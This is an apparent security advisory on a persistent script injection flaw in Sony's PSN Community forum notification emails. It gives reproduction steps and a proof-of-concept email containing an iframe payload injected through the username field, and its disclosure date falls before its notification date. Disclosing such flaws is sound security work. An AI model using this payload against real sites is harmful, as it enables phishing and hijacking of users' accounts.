The PlayStation Network is the video game portion of the Sony Entertainment Network. (Copy of the Homepage: http://en.wikipedia.org/wiki/PlayStation_Network) Abstract: ========= The Vulnerability Laboratory Research Team discovered a filter and encoding web vulnerability in Sony`s official PSN Community Website Application. Report-Timeline: ================ 2012-11-01: Researcher Notification & Coordination 2012-11-02: Vendor Notification 2012-05-07: Public Disclosure Status: ======== Published Affected Products: ================== Sony Product: PSN Community - Lithium Forums 2012 Q4 Exploitation-Technique: ======================= Remote Severity: ========= Medium Details: ======== A persistent web vulnerability is detected in Sony`s official PSN Community Website Application. The vulnerability allows remote attackers to send own malicious persistent script code as notification message to hijack or phish psn application user accounts. The vulnerability in the psn community (forum) is located in the outgoing mail parse of the private message notification with the bound vulnerable username parameter. The script code will be executed when the attacker injects script code as username. In the application and software itself the web context is parsed but not in the outgoing notification mail of the community when a message has been send or arrives. Vulnerable Section(s): [+] PSN Community - Forums [Private Messages] Vulnerable Module(s): [+] Forums [Private Messages] - Notification Mail (Active Message Notification) Vulnerable Module(s): [+] Username Proof of Concept: ================= The persistent vulnerability can be exploited by remote attackers with low privilege community application account with low or medium required user interaction. For demonstration or reproduce ... Reproduce: 1. Register a username with a test iframe inside 2. Activate the checkbox with the private message notification mail 3. Send yourself a message with any random content 4. Open the notification mail and watch the username web context 5. Reproduce successful! The script code will be executed out of the notification mail of the private messages <html> <head> <title>You have received a private message in the PSN Support Network!</title> <link rel="important stylesheet" href="x.css"> </head> <body> <table border=0 cellspacing=0 cellpadding=0 width="100%" class="header-part1"><tr><td><b>Betreff: </b>You have received a private message in the PSN Support Network!</td></tr><tr><td><b>Von: </b>Community Mailer <noreply@playstation.com></td></tr><tr><td><b>Datum: </b>01.11.2012 04:33</td></tr></table><table border=0 cellspacing=0 cellpadding=0 width="100%" class="header-part2"><tr> <td><b>An: </b> >"<>"<iframe src=http://vuln-lab.com width=1000 height=700> <admin@vulnerability-lab.com></td></tr></table><br> <html> <head> <title> You have received a private message in the PSN Support Network! </title> </head> <body> Hello >"<>"<iframe src=http://vuln-lab.com width=1000 height=700>, <p> You have received a private message in the PSN Support Network. </p> <p> Please click <a href="LINK">here</a> to access the community.
